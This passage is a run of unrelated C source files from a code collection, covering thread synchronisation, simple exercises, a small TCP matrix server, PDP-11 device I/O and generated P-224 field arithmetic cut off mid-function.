if (barrier_thread_count >= barrier_thread_limit) {
barrier_thread_count = 0;
barrier_round++;
pthread_cond_broadcast(&barrier_cv);
} else {
unsigned int my_round = barrier_round;
do {
pthread_cond_wait(&barrier_cv, &barrier_mutex);
} while (my_round == barrier_round);
}
pthread_mutex_unlock(&barrier_mutex);
}
#else
// A barrier to make hydrogen and oxygen threads synchrnized
pthread_barrier_t water_barrier;
#endif
// A mutex in order to synchronize oxygen threads
pthread_mutex_t oxygen_mutex;
// A general semaphore to make hydrogen threads synchronized
sem_t* hydrogen_sem;
// A shared integer counting the numebr of made water molecules
unsigned int num_of_water_molecules;
void* hydrogen_thread_body(void* arg) {
// Two hydrogen threads can enter this critical section
sem_wait(hydrogen_sem);
// Wait for the other hydrogen thread to join
#ifdef __APPLE__
barrier_wait();
#else
pthread_barrier_wait(&water_barrier);
#endif
sem_post(hydrogen_sem);
return NULL;
}
void* oxygen_thread_body(void* arg) {
pthread_mutex_lock(&oxygen_mutex);
// Wait for the hydrogen threads to join
#ifdef __APPLE__
barrier_wait();
#else
pthread_barrier_wait(&water_barrier);
#endif
num_of_water_molecules++;
pthread_mutex_unlock(&oxygen_mutex);
return NULL;
}
int main(int argc, char** argv) {
num_of_water_molecules = 0;
// Initialize oxygen mutex
pthread_mutex_init(&oxygen_mutex, NULL);
// Initialize hydrogen sempahore
#ifdef __APPLE__
hydrogen_sem = sem_open("hydrogen_sem",
O_CREAT | O_EXCL, 0644, 2);
#else
sem_t local_sem;
hydrogen_sem = &local_sem;
sem_init(hydrogen_sem, 0, 2);
#endif
// Initialize water barrier
#ifdef __APPLE__
pthread_mutex_init(&barrier_mutex, NULL);
pthread_cond_init(&barrier_cv, NULL);
barrier_thread_count = 0;
barrier_thread_limit = 0;
barrier_round = 0;
#else
pthread_barrier_init(&water_barrier, NULL, 3);
#endif
// For creating 50 water molecules, we need 50 oxygen atoms and
// 100 hydrogen atoms
pthread_t thread[150];
// Create oxygen threads
for (int i = 0; i < 50; i++) {
if (pthread_create(thread + i, NULL,
oxygen_thread_body, NULL)) {
printf("Couldn't create an oxygen thread.\n");
exit(1);
}
}
// Create hydrogen threads
for (int i = 50; i < 150; i++) {
if (pthread_create(thread + i, NULL,
hydrogen_thread_body, NULL)) {
printf("Couldn't create an hydrogen thread.\n");
exit(2);
}
}
printf("Waiting for hydrogen and oxygen atoms to react ...\n");
// Wait for all threads to finish
for (int i = 0; i < 150; i++) {
if (pthread_join(thread[i], NULL)) {
printf("The thread could not be joined.\n");
exit(3);
}
}
printf("Number of made water molecules: %d\n",
num_of_water_molecules);
#ifdef __APPLE__
sem_close(hydrogen_sem);
#else
sem_destroy(hydrogen_sem);
#endif
return 0;
}
|
the_stack_data/42227.c | /*BEGIN_LEGAL
Intel Open Source License
Copyright (c) 2002-2013 Intel Corporation. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer. Redistributions
in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution. Neither the name of
the Intel Corporation nor the names of its contributors may be used to
endorse or promote products derived from this software without
specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
END_LEGAL */
#include <string.h>
int main()
{
char buff0[100];
char buff1[]="My buffer source";
memcpy(&buff0[0],&buff1[0],strlen(buff1));
memcpy(&buff0[0],&buff1[0],strlen(buff1));
return 0;
}
|
the_stack_data/65561.c | #include <stdio.h>
int main() {
int n;
scanf("%d",&n);
if(n > 0) {
printf("positivo\n");
} else if(n < 0) {
printf("negativo\n");
} else {
printf("nulo\n");
}
return 0;
} |
the_stack_data/231392882.c | /* do while loop case: no pointer is modified inside loop */
int main()
{
int i=0;
int a[10];
do
{
a[i] = i;
i++;
} while(i<10);
return(0);
}
|
the_stack_data/57949187.c | /*
* Copyright (c) 2017-2018, NVIDIA CORPORATION. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
#include <stdint.h>
int64_t
__mth_i_kidnnt(double d)
{
if (d > 0)
return ((d < 4503599627370496.0) ? (int64_t)(d + 0.5) : (int64_t)(d));
else
return ((d > -4503599627370496.0) ? (int64_t)(d - 0.5) : (int64_t)(d));
}
|
the_stack_data/644315.c | #include <stdio.h>
#include <string.h>
int map[101][101];
int N;
int vis[101];
int visited(int n, int t)
{
int i;
for (i = 1; i <= t; i++) {
if (vis[i] == n) {
return 1;
}
}
return 0;
}
int min(int a)
{
int min=-1, i, j, ai;
for (i = 1; i < a; i++) {
for (j = 1; j <= N; j++) {
if (visited(j, a) == 0) {
if (min<0) {
min = j;
ai = vis[i];
}else if (map[ai][min] > map[vis[i]][j]) {
min = j;
ai = vis[i];
}
}
}
}
vis[i] = min;
return map[ai][min];
}
int Min()
{
int i, t=0;
vis[1] = 1;
for (i = 2; i <= N; i++) {
t += min(i);
}
return t;
}
int main(int argc, char* argv[])
{
int t, i;
int a, b, L;
freopen("input.txt", "r", stdin);
while (scanf("%d", &N), N) {
//printf("%d\n", N);
t = N*(N-1)/2;
memset(map, -1, sizeof(map));
memset(vis, 0, sizeof(vis));
for (i = 0; i < t; i++) {
scanf("%d %d %d", &a, &b, &L);
//printf("%d %d %d\n", a, b, L);
map[a][b] = map[b][a] = L;
}
printf("%d\n", Min());
}
return 0;
}
|
the_stack_data/70449480.c | #include <stdio.h>
int main(){
/* Init var */
char name[100] = "Ghani Rafif Irawan";
char birth[100] = "Jayapura, 21 Desember 2000";
int age = 19;
printf("Nama: %s\n", name);
printf("Umur: %d\n", age);
printf("Ttl : %s\n", birth);
}
|
the_stack_data/85027.c | /*
CK program template
See CK LICENSE.txt for licensing details
See CK COPYRIGHT.txt for copyright details
Developer: Grigori Fursin, 2018, [email protected], http://fursin.net
*/
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[])
{
char* env;
printf("Hello world!\n\n");
env=getenv("CK_VAR1");
if (env!=NULL) {
printf("CK_VAR1=%s\n",env);
}
env=getenv("CK_VAR2");
if (env!=NULL) {
printf("CK_VAR2=%s\n",env);
}
return 0;
}
|
the_stack_data/43888442.c | /* [tkaiser@slic15 ~]$ cat small_server.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <unistd.h>
#ifdef DO_MPI
#include <mpi.h>
#endif
#include <math.h>
#include <sys/time.h>
#include <unistd.h>
#define FLT double
/* utility routines */
FLT system_clock(FLT *x);
FLT **matrix(int nrl,int nrh,int ncl,int nch);
/* work routines */
void mset(FLT **m, int n, int in);
FLT mcheck(FLT **m, int n, int in);
void over(FLT ** mat,int size);
#define HEADER 16 /* which fields in a message to discard */
#define ALL 32
typedef struct {
int nbytes; /* number of bytes in the argument list */
int type; /* message type (filename / line number) */
char *args; /* string form of the list of arguments */
} Message;
Message *read_msg(int sock_hndl);
void free_msg(Message **message, int how_much);
int main(int argc, char *argv[]) {
struct sockaddr_in src; /* socket address for this server */
int socksize, val=1; /* the size of the socket address */
int portnumber=0; /* portnumber server listens on */
int server, client; /* socket ids for server & client */
Message *message=NULL;
int len;
FLT **m1;
#ifdef DO_MPI
int myid, numprocs;
int resultlen;
char myname[MPI_MAX_PROCESSOR_NAME];
MPI_Init(&argc,&argv);
MPI_Comm_size(MPI_COMM_WORLD,&numprocs);
MPI_Comm_rank(MPI_COMM_WORLD,&myid);
MPI_Get_processor_name(myname,&resultlen);
printf("C says Hello from %4d on %s\n",myid,myname);
#endif
int ptemp,test;
char pname[128],abyte[1];
#define reply "GOT IT"
int n,i,j,mcount;
int a1,a2,a3,a4;
n=4;
m1=matrix(1,n,1,n);
mcount=0;
if(argc > 1)sscanf(argv[1],"%d",&portnumber);
len = sizeof(src);
bzero((char *)&src, len);
/* Set up address structure: any host, wildcard port */
src.sin_family = AF_INET;
if(portnumber != 0) {
src.sin_port = ntohs(portnumber);
src.sin_addr.s_addr = 0;
}
else {
src.sin_addr.s_addr = INADDR_ANY;
src.sin_port = 0;
}
if ((server = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{ fprintf(stderr, "\n Unable to open a socket.\n"); exit(1); }
/* Declare that this socket address may be reused. */
setsockopt(server, SOL_SOCKET, SO_REUSEADDR, (void *) &val, sizeof(val));
/* Bind to the socket. */
if (bind(server, (struct sockaddr *) &src, sizeof(src)) < 0) {
fprintf(stderr, "\n Unable to bind to this port number.");
exit(1);
}
/* Indicate a willingness to accept connections on this socket. */
listen(server, 5);
/* get some socket info (including what port the system gave us */
if (getsockname(server, (struct sockaddr *)&src, (socklen_t *)&len) < 0)
return -1;
printf("Listening on port %d %d\n", portnumber,ntohs(src.sin_port));
/* We have been contacted by a client. */
socksize = sizeof(src);
client = accept(server, (struct sockaddr *) &src, (socklen_t*)&socksize);
/* Service the needs of this client. */
while (1) {
/* The client is sending us a message or has exited. */
if ((message = read_msg(client)) == NULL)
{ close(client); close(server); exit(1); }
if (message->type == 15) {
mcount++;
printf("%s\n",message->args);
sscanf(message->args,"%d %d %d %d",&a1,&a2,&a3,&a4);
m1[1][mcount]=a1;
m1[2][mcount]=a2;
m1[3][mcount]=a3;
m1[4][mcount]=a4;
if(mcount == 4){
for (i=1;i<=4;i++) {
for (j=1;j<=4;j++)
printf(" %g",m1[i][j]);
printf("\n");
}
over(m1,n);
for (i=1;i<=4;i++) {
for (j=1;j<=4;j++)
printf(" %g",m1[i][j]);
printf("\n");
}
}
abyte[0]=(char)strlen(reply);
write(client,abyte,1);
write(client, reply, strlen(reply));
}
free_msg(&message, ALL);
}
#ifdef DO_MPI
MPI_Finalize();
#endif
}
/*****************************************************************************/
/* */
/* This routine reads a message coming in over a socket. The format of a */
/* message looks like: */
/* */
/* * 1-byte value denoting the type of the message payload */
/* * 15-byte character string representing the size of the message body */
/* * n-byte character string representing the message body itself */
/* */
/* This message format was selected in an attempt to make it as portable */
/* as possible (thereby avoiding problems such as different byte-orderings */
/* on different platforms, different floating point representations, etc.) */
/* */
Message *read_msg(int sock_hndl) {
char head[16]; /* string form of message header */
Message *incoming; /* storage for incoming message */
int rcvd, count, size;
/* Make space for the incoming message header and check for error. */
if ((incoming = (Message *)malloc(sizeof(Message))) == NULL) {
fprintf(stderr, " unable to get enough memory.\n");
return NULL;
}
/* Read in the message header. */
rcvd = 0; count = 0; size = 16;
while (rcvd < size) {
rcvd += read(sock_hndl, head + rcvd, size - rcvd); count++;
if (count > 256) { free_msg(&incoming, HEADER); return NULL; }
}
/* Determine the type and size of message payload. */
incoming->type = (int) head[0];
incoming->nbytes = (int)(head[1]);
printf("type %d bytes %d\n",incoming->type,incoming->nbytes);
/* Make space for the incoming message body and check for error. */
if ((incoming->args = (char *)malloc(incoming->nbytes)) == NULL)
{ free_msg(&incoming, HEADER); return NULL; }
/* Read in the message body. */
rcvd = 0; count = 0; size = incoming->nbytes;
while (rcvd < size) {
rcvd += read(sock_hndl, incoming->args + rcvd, size - rcvd); count++;
if (count > 256) { free_msg(&incoming, ALL); return NULL; }
}
/* Return our shiny new message. */
return incoming;
}
/* This routine frees memory occupied by the specified message. */
void free_msg(Message **message, int how_much) {
if (how_much == ALL) { free((*message)->args); (*message)->args = NULL; }
free(*message); *message = NULL;
}
/* void catch(int signo) { } */
/*
[tkaiser@slic15 ~]$
The deal is that the byte order is being switched when getting passed to the socket routines
Note:
44975 afaf (this works)
44000 abe0 57515 e0ab (this is the mapping)
solution is call htons on port number
*/
void mset(FLT **m, int n, int in) {
int i,j;
for(i=1;i<=n;i++)
for(j=1;j<=n;j++) {
if(i == j) {
m[i][j]=in;
} else {
m[i][j]=i+j;
}
}
}
/*
The routine matrix was adapted from
Numerical Recipes in C The Art of Scientific Computing
Press, Flannery, Teukolsky, Vetting
Cambridge University Press, 1988.
*/
FLT **matrix(int nrl,int nrh,int ncl,int nch)
{
int i;
FLT **m;
m=(FLT **) malloc((unsigned) (nrh-nrl+1)*sizeof(FLT*));
if (!m){
printf("allocation failure 1 in matrix()\n");
exit(1);
}
m -= nrl;
for(i=nrl;i<=nrh;i++) {
if(i == nrl){
m[i]=(FLT *) malloc((unsigned) (nrh-nrl+1)*(nch-ncl+1)*sizeof(FLT));
if (!m[i]){
printf("allocation failure 2 in matrix()\n");
exit(1);
}
m[i] -= ncl;
}
else {
m[i]=m[i-1]+(nch-ncl+1);
}
}
return m;
}
void over(FLT ** mat,int size)
{
int k, jj, kp1, i, j, l, krow, irow;
FLT pivot, temp;
FLT sw[2000][2];
for (k = 1 ;k<= size ; k++)
{
jj = k;
if (k != size)
{
kp1 = k + 1;
pivot = fabs(mat[k][k]);
for( i = kp1;i<= size ;i++)
{
temp = fabs(mat[i][k]);
if (pivot < temp)
{
pivot = temp;
jj = i;
}
}
}
sw[k][0] =k;
sw[k][1] = jj;
if (jj != k)
for (j = 1 ;j<= size; j++)
{
temp = mat[jj][j];
mat[jj][j] = mat[k][ j];
mat[k][j] = temp;
}
for (j = 1 ;j<= size; j++)
if (j != k)
mat[k][j] = mat[k][j] / mat[k][k];
mat[k][k] = 1.0 / mat[k][k];
for (i = 1; i<=size; i++)
if (i != k)
for (j = 1;j<=size; j++)
if (j != k)
mat[i][j] = mat[i][j] - mat[k][j] * mat[i][k];
for (i = 1;i<=size;i++)
if (i != k)
mat[i][k] = -mat[i][k] * mat[k][k];
}
for (l = 1; l<=size; ++l)
{
k = size - l + 1;
krow = sw[k][0];
irow = sw[k][1];
if (krow != irow)
for (i = 1; i<= size; ++i)
{
temp = mat[i][krow];
mat[i][krow] = mat[i][irow];
mat[i][irow] = temp;
}
}
}
FLT system_clock(FLT *x) {
FLT t;
FLT six=1.0e-6;
struct timeval tb;
struct timezone tz;
gettimeofday(&tb,&tz);
t=(FLT)tb.tv_sec+((FLT)tb.tv_usec)*six;
if(x){
*x=t;
}
return(t);
}
|
the_stack_data/159514982.c | #include "printf.h"
#define CONSOLE_RX_CS 0177560
#define CONSOLE_RX_DB 0177562
#define CONSOLE_TX_CS 0177564
#define CONSOLE_TX_DB 0177566
#define AR11_AD_CS 0170400
#define AR11_AD_DB 0170402
#define AR11_AD_CS_UNIPOLAR 1 << 13
#define AR11_AD_CS_START 1 << 0
#define AR11_AD_CS_DONE 1 << 7
#define AR11_DP_CS 0170410
#define AR11_DP_DX 0170412
#define AR11_DP_DY 0170414
#define AR11_DP_CS_INTENS 1 << 0
#define AR11_DP_CS_DONE 1 << 7
int putchar (int ch)
{
while (*((volatile char *) (CONSOLE_TX_CS)) >= 0); // wait for TX ready
*((volatile int *) (CONSOLE_TX_DB)) = ch;
return 0;
}
void putch (void * p, char c) {
putchar (c);
}
int getAD (int channel) {
*((volatile int *) (AR11_AD_CS)) = ((channel & 0xf) << 8) | AR11_AD_CS_UNIPOLAR | AR11_AD_CS_START;
while (*((volatile char *) (AR11_AD_CS)) >= 0); // wait for AD Ready
return (*((volatile int *) (AR11_AD_DB)));
}
void putXY (int x, int y) {
while (*((volatile char *) (AR11_DP_CS)) >= 0);
(*((volatile int *) (AR11_DP_DX))) = x;
(*((volatile int *) (AR11_DP_DY))) = y;
*((volatile int *) (AR11_DP_CS)) = AR11_DP_CS_INTENS;
}
int puts (const char * str) {
char ch;
while ((ch=*str++)) {
putchar(ch);
}
}
char getchar () {
while (*((volatile char *) (CONSOLE_RX_CS))>=0); // Wait for character received
return (*((volatile int *) (CONSOLE_RX_DB))) & 0x7f;
}
int main ()
{
int x1,y1,x2,y2;
init_printf((void *) 0, putch);
while (1) {
x1=getAD(0);
y1=getAD(1);
putXY(x1,y1);
x2=getAD(2);
y2=getAD(3);
putXY(x2,y2);
printf ("%d %d %d %d\n", x1,y1,x2,y2 );
}
return 0;
}
|
the_stack_data/72012338.c | /* Autogenerated: src/ExtractionOCaml/word_by_word_montgomery --static p224 64 '2^224 - 2^96 + 1' mul square add sub opp from_montgomery to_montgomery nonzero selectznz to_bytes from_bytes */
/* curve description: p224 */
/* machine_wordsize = 64 (from "64") */
/* requested operations: mul, square, add, sub, opp, from_montgomery, to_montgomery, nonzero, selectznz, to_bytes, from_bytes */
/* m = 0xffffffffffffffffffffffffffffffff000000000000000000000001 (from "2^224 - 2^96 + 1") */
/* */
/* NOTE: In addition to the bounds specified above each function, all */
/* functions synthesized for this Montgomery arithmetic require the */
/* input to be strictly less than the prime modulus (m), and also */
/* require the input to be in the unique saturated representation. */
/* All functions also ensure that these two properties are true of */
/* return values. */
/* */
/* Computed values: */
/* eval z = z[0] + (z[1] << 64) + (z[2] << 128) + (z[3] << 192) */
/* bytes_eval z = z[0] + (z[1] << 8) + (z[2] << 16) + (z[3] << 24) + (z[4] << 32) + (z[5] << 40) + (z[6] << 48) + (z[7] << 56) + (z[8] << 64) + (z[9] << 72) + (z[10] << 80) + (z[11] << 88) + (z[12] << 96) + (z[13] << 104) + (z[14] << 112) + (z[15] << 120) + (z[16] << 128) + (z[17] << 136) + (z[18] << 144) + (z[19] << 152) + (z[20] << 160) + (z[21] << 168) + (z[22] << 176) + (z[23] << 184) + (z[24] << 192) + (z[25] << 200) + (z[26] << 208) + (z[27] << 216) + (z[28] << 224) + (z[29] << 232) + (z[30] << 240) + (z[31] << 248) */
#include <stdint.h>
typedef unsigned char fiat_p224_uint1;
typedef signed char fiat_p224_int1;
typedef signed __int128 fiat_p224_int128;
typedef unsigned __int128 fiat_p224_uint128;
#if (-1 & 3) != 3
#error "This code only works on a two's complement system"
#endif
/*
* The function fiat_p224_addcarryx_u64 is an addition with carry.
* Postconditions:
* out1 = (arg1 + arg2 + arg3) mod 2^64
* out2 = ⌊(arg1 + arg2 + arg3) / 2^64⌋
*
* Input Bounds:
* arg1: [0x0 ~> 0x1]
* arg2: [0x0 ~> 0xffffffffffffffff]
* arg3: [0x0 ~> 0xffffffffffffffff]
* Output Bounds:
* out1: [0x0 ~> 0xffffffffffffffff]
* out2: [0x0 ~> 0x1]
*/
static void fiat_p224_addcarryx_u64(uint64_t* out1, fiat_p224_uint1* out2, fiat_p224_uint1 arg1, uint64_t arg2, uint64_t arg3) {
fiat_p224_uint128 x1 = ((arg1 + (fiat_p224_uint128)arg2) + arg3);
uint64_t x2 = (uint64_t)(x1 & UINT64_C(0xffffffffffffffff));
fiat_p224_uint1 x3 = (fiat_p224_uint1)(x1 >> 64);
*out1 = x2;
*out2 = x3;
}
/*
* The function fiat_p224_subborrowx_u64 is a subtraction with borrow.
* Postconditions:
* out1 = (-arg1 + arg2 + -arg3) mod 2^64
* out2 = -⌊(-arg1 + arg2 + -arg3) / 2^64⌋
*
* Input Bounds:
* arg1: [0x0 ~> 0x1]
* arg2: [0x0 ~> 0xffffffffffffffff]
* arg3: [0x0 ~> 0xffffffffffffffff]
* Output Bounds:
* out1: [0x0 ~> 0xffffffffffffffff]
* out2: [0x0 ~> 0x1]
*/
static void fiat_p224_subborrowx_u64(uint64_t* out1, fiat_p224_uint1* out2, fiat_p224_uint1 arg1, uint64_t arg2, uint64_t arg3) {
fiat_p224_int128 x1 = ((arg2 - (fiat_p224_int128)arg1) - arg3);
fiat_p224_int1 x2 = (fiat_p224_int1)(x1 >> 64);
uint64_t x3 = (uint64_t)(x1 & UINT64_C(0xffffffffffffffff));
*out1 = x3;
*out2 = (fiat_p224_uint1)(0x0 - x2);
}
/*
* The function fiat_p224_mulx_u64 is a multiplication, returning the full double-width result.
* Postconditions:
* out1 = (arg1 * arg2) mod 2^64
* out2 = ⌊arg1 * arg2 / 2^64⌋
*
* Input Bounds:
* arg1: [0x0 ~> 0xffffffffffffffff]
* arg2: [0x0 ~> 0xffffffffffffffff]
* Output Bounds:
* out1: [0x0 ~> 0xffffffffffffffff]
* out2: [0x0 ~> 0xffffffffffffffff]
*/
static void fiat_p224_mulx_u64(uint64_t* out1, uint64_t* out2, uint64_t arg1, uint64_t arg2) {
fiat_p224_uint128 x1 = ((fiat_p224_uint128)arg1 * arg2);
uint64_t x2 = (uint64_t)(x1 & UINT64_C(0xffffffffffffffff));
uint64_t x3 = (uint64_t)(x1 >> 64);
*out1 = x2;
*out2 = x3;
}
/*
* The function fiat_p224_cmovznz_u64 is a single-word conditional move.
* Postconditions:
* out1 = (if arg1 = 0 then arg2 else arg3)
*
* Input Bounds:
* arg1: [0x0 ~> 0x1]
* arg2: [0x0 ~> 0xffffffffffffffff]
* arg3: [0x0 ~> 0xffffffffffffffff]
* Output Bounds:
* out1: [0x0 ~> 0xffffffffffffffff]
*/
static void fiat_p224_cmovznz_u64(uint64_t* out1, fiat_p224_uint1 arg1, uint64_t arg2, uint64_t arg3) {
fiat_p224_uint1 x1 = (!(!arg1));
uint64_t x2 = ((fiat_p224_int1)(0x0 - x1) & UINT64_C(0xffffffffffffffff));
uint64_t x3 = ((x2 & arg3) | ((~x2) & arg2));
*out1 = x3;
}
/*
* The function fiat_p224_mul multiplies two field elements in the Montgomery domain.
* Preconditions:
* 0 ≤ eval arg1 < m
* 0 ≤ eval arg2 < m
* Postconditions:
* eval (from_montgomery out1) mod m = (eval (from_montgomery arg1) * eval (from_montgomery arg2)) mod m
* 0 ≤ eval out1 < m
*
* Input Bounds:
* arg1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* arg2: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
* Output Bounds:
* out1: [[0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff], [0x0 ~> 0xffffffffffffffff]]
*/
static void fiat_p224_mul(uint64_t out1[4], const uint64_t arg1[4], const uint64_t arg2[4]) {
uint64_t x1 = (arg1[1]);
uint64_t x2 = (arg1[2]);
uint64_t x3 = (arg1[3]);
uint64_t x4 = (arg1[0]);
uint64_t x5;
uint64_t x6;
fiat_p224_mulx_u64(&x5, &x6, x4, (arg2[3]));
uint64_t x7;
uint64_t x8;
fiat_p224_mulx_u64(&x7, &x8, x4, (arg2[2]));
uint64_t x9;
uint64_t x10;
fiat_p224_mulx_u64(&x9, &x10, x4, (arg2[1]));
uint64_t x11;
uint64_t x12;
fiat_p224_mulx_u64(&x11, &x12, x4, (arg2[0]));
uint64_t x13;
fiat_p224_uint1 x14;
fiat_p224_addcarryx_u64(&x13, &x14, 0x0, x12, x9);
uint64_t x15;
fiat_p224_uint1 x16;
fiat_p224_addcarryx_u64(&x15, &x16, x14, x10, x7);
uint64_t x17;
fiat_p224_uint1 x18;
fiat_p224_addcarryx_u64(&x17, &x18, x16, x8, x5);
uint64_t x19 = (x18 + x6);
uint64_t x20;
uint64_t x21;
fiat_p224_mulx_u64(&x20, &x21, x11, UINT64_C(0xffffffffffffffff));
uint64_t x22;
uint64_t x23;
fiat_p224_mulx_u64(&x22, &x23, x20, UINT32_C(0xffffffff));
uint64_t x24;
uint64_t x25;
fiat_p224_mulx_u64(&x24, &x25, x20, UINT64_C(0xffffffffffffffff));
uint64_t x26;
uint64_t x27;
fiat_p224_mulx_u64(&x26, &x27, x20, UINT64_C(0xffffffff00000000));
uint64_t x28;
fiat_p224_uint1 x29;
fiat_p224_addcarryx_u64(&x28, &x29, 0x0, x27, x24);
uint64_t x30;
fiat_p224_uint1 x31;
fiat_p224_addcarryx_u64(&x30, &x31, x29, x25, x22);
uint64_t x32 = (x31 + x23);
uint64_t x33;
fiat_p224_uint1 x34;
fiat_p224_addcarryx_u64(&x33, &x34, 0x0, x11, x20);
uint64_t x35;
fiat_p224_uint1 x36;
fiat_p224_addcarryx_u64(&x35, &x36, x34, x13, x26);
uint64_t x37;
fiat_p224_uint1 x38;
fiat_p224_addcarryx_u64(&x37, &x38, x36, x15, x28);
uint64_t x39;
fiat_p224_uint1 x40;
fiat_p224_addcarryx_u64(&x39, &x40, x38, x17, x30);
uint64_t x41;
fiat_p224_uint1 x42;
fiat_p224_addcarryx_u64(&x41, &x42, x40, x19, x32);
uint64_t x43;
uint64_t x44;
fiat_p224_mulx_u64(&x43, &x44, x1, (arg2[3]));
uint64_t x45;
uint64_t x46;
fiat_p224_mulx_u64(&x45, &x46, x1, (arg2[2]));
uint64_t x47;
uint64_t x48;
fiat_p224_mulx_u64(&x47, &x48, x1, (arg2[1]));
uint64_t x49;
uint64_t x50;
fiat_p224_mulx_u64(&x49, &x50, x1, (arg2[0]));
uint64_t x51;
fiat_p224_uint1 x52;
fiat_p224_addcarryx_u64(&x51, &x52, 0x0, x50, x47);
uint64_t x53;
fiat_p224_uint1 x54;
fiat_p224_addcarryx_u64(&x53, &x54, x52, x48, x45);
uint64_t x55;
fiat_p224_uint1 x56;
fiat_p224_addcarryx_u64(&x55, &x56, x54, x46, x43);
uint64_t x57 = (x56 + x44);
uint64_t x58;
fiat_p224_uint1 x59;
fiat_p224_addcarryx_u64(&x58, &x59, 0x0, x35, x49);
uint64_t x60;
fiat_p224_uint1 x61;
fiat_p224_addcarryx_u64(&x60, &x61, x59, x37, x51);
uint64_t x62;
fiat_p224_uint1 x63;
fiat_p224_addcarryx_u64(&x62, &x63, x61, x39, x53);
uint64_t x64;
fiat_p224_uint1 x65;
fiat_p224_addcarryx_u64(&x64, &x65, x63, x41, x55);
uint64_t x66;
fiat_p224_uint1 x67;
fiat_p224_addcarryx_u64(&x66, &x67, x65, x42, x57);
uint64_t x68;
uint64_t x69;
fiat_p224_mulx_u64(&x68, &x69, x58, UINT64_C(0xffffffffffffffff));
uint64_t x70;
uint64_t x71;
fiat_p224_mulx_u64(&x70, &x71, x68, UINT32_C(0xffffffff));
uint64_t x72;
uint64_t x73;
fiat_p224_mulx_u64(&x72, &x73, x68, UINT64_C(0xffffffffffffffff));
uint64_t x74;
uint64_t x75;
fiat_p224_mulx_u64(&x74, &x75, x68, UINT64_C(0xffffffff00000000));
uint64_t x76;
fiat_p224_uint1 x77;
fiat_p224_addcarryx_u64(&x76, &x77, 0x0, x75, x72);
uint64_t x78;
fiat_p224_uint1 x79;
fiat_p224_addcarryx_u64(&x78, &x79, x77, x73, x70);
uint64_t x80 = (x79 + x71);
uint64_t x81;
fiat_p224_uint1 x82;
fiat_p224_addcarryx_u64(&x81, &x82, 0x0, x58, x68);
uint64_t x83;
fiat_p224_uint1 x84;
fiat_p224_addcarryx_u64(&x83, &x84, x82, x60, x74);
uint64_t x85;
fiat_p224_uint1 x86;
fiat_p224_addcarryx_u64(&x85, &x86, x84, x62, x76);
uint64_t x87;
fiat_p224_uint1 x88;
fiat_p224_addcarryx_u64(&x87, &x88, x86, x64, x78);
uint64_t x89;
fiat_p224_uint1 x90;
fiat_p224_addcarryx_u64(&x89, &x90, x88, x66, x80);
uint64_t x91 = ((uint64_t)x90 + x67);
uint64_t x92;
uint64_t x93;
fiat_p224_mulx_u64(&x92, &x93, x2, (arg2[3]));
uint64_t x94;
uint64_t x95;
fiat_p224_mulx_u64(&x94, &x95, x2, (arg2[2]));
uint64_t x96;
uint64_t x97;
fiat_p224_mulx_u64(&x96, &x97, x2, (arg2[1]));
uint64_t x98;
uint64_t x99;
fiat_p224_mulx_u64(&x98, &x99, x2, (arg2[0]));
uint64_t x100;
fiat_p224_uint1 x101;
fiat_p224_addcarryx_u64(&x100, &x101, 0x0, x99, x96);
uint64_t x102;
fiat_p224_uint1 x103;
fiat_p224_addcarryx_u64(&x102, &x103, x101, x97, x94);
uint64_t x104;
fiat_p224_uint1 x105;
fiat_p224_addcarryx_u64(&x104, &x105, x103, x95, x92);
uint64_t x106 = (x105 + x93);
uint64_t x107;
fiat_p224_uint1 x108;
fiat_p224_addcarryx_u64(&x107, &x108, 0x0, x83, x98);
uint64_t x109;
fiat_p224_uint1 x110;
fiat_p224_addcarryx_u64(&x109, &x110, x108, x85, x100);
uint64_t x111;
fiat_p224_uint1 x112;
fiat_p224_addcarryx_u64(&x111, &x112, x110, x87, x102);
uint64_t x113;
fiat_p224_uint1 x114;
fiat_p224_addcarryx_u64(&x113, &x114, x112, x89, x104);
uint64_t x115;
fiat_p224_uint1 x116;
fiat_p224_addcarryx_u64(&x115, &x116, x114, x91, x106);
uint64_t x117;
uint64_t x118;
